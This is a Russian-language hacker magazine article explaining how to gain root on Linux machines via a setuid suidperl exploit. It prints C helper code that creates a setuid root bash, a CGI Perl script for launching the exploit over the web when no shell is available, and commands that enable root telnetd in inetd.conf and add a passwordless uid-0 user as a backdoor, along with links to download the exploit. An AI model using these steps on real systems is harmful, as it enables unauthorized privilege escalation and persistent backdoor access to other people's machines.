В этой статье я расскажу об одном замечательном эксплойте, который может дать рута, благодаря суидному «/usr/bin/suidperl» (тот же перл, но работающий с суидными скриптами). Как говорят авторы сплойта, он применим к версии 5.00503 и выше… Почему именно он? Так как лично я, при помощи данной штуки брал около 5-6 рутов, даже если на тачке не было телнета/ssh 😉

Принцип сплойта таков: он составляет 2 «сишных» файла, bighole.c и sush.c, дающий суидный /bin/bash с правами root 😉 Соответственно, у тех, кто запустит этот shell, будет root.
В первом (bighole.c) находится следующее:

main() {
setuid(0);
setgid(0);
chown(«sush»,0,0);
chmod(«sush»,04755);
}

Тут все понятно, установка рутового uid и gid, изменение
оунера sush и установка +s и 755 на него…

В sush.c будет непосредственно запуск bash 😉

main() {
setuid(0);
setgid(0);
system(«/bin/bash»);
}

Есть файлик flare, в котором находится лишь один
print, обрабатывающийся с помощью suidperl. Затем сложная конструкция, повторяющаяся n раз, благодаря ей, suidperl ставит suid на bighole и рут у тебя в кармане…
Таким образом, запустив на тачке этот сплойт и подождав до 5 минут ты получаешь рута…

Но для этого у тебя должен быть какой то shell.. любых прав. А если у тебя его нет? Проанализируем ситуацию

1) На тачке нет telnetd/ssh, но есть ftp и www+cgi. Этого нам хватит 😉 Это такой же shell, только через твоего любимого ослика 🙂

а) Готовим простой скриптик, который заливаем в cgi-bin 🙂

#!/usr/bin/perl
print «Content-type: text/html\n\n»;
system(«/bin/sh /home/xakep/www/cgi-bin/suidperl.sh»);
print «Done\n»;

Скрипт простой: запуск сплойта через web, посредством cgi 🙂

б) Изменяем код xploit`а. Ищем запись sush.c, и вместо system(«/bin/bash») пишем 3 строки,

system(«echo ‘telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd’>>/etc/inetd.conf»); 
system(«/etc/rc.d/init.d/inet restart»);
system(«adduser -u 0 -g 0 -s /bin/bash lamer»);

которые врубают telnetd и добавляют юзера lamer`а с правами root =)

в) кидаем сплойт в cgi-bin диру, рядом со скриптом, идем на веб, запускаем скрипт и молимся, периодически сканируя хост на 23 порт 🙂

г) телнетимся на тачку под lamer`ом. Если все ok, то linux пропустит тебя без пароля, который ты можешь себе поставить потом 🙂

Вариантов много, главное хорошо их применить 😉

Ах, да, чуть не забыл… Сплойт берем либо на http://packetstormsecurity.org
либо на http://forbik.chat.ru/suidperl.sh

Оставить мнение

Check Also

WWW: Carbon — сервис для создания идеальных скриншотов кода

В теории сделать скриншот кода, чтобы кому-то показать, — задача несложная. В реальности р…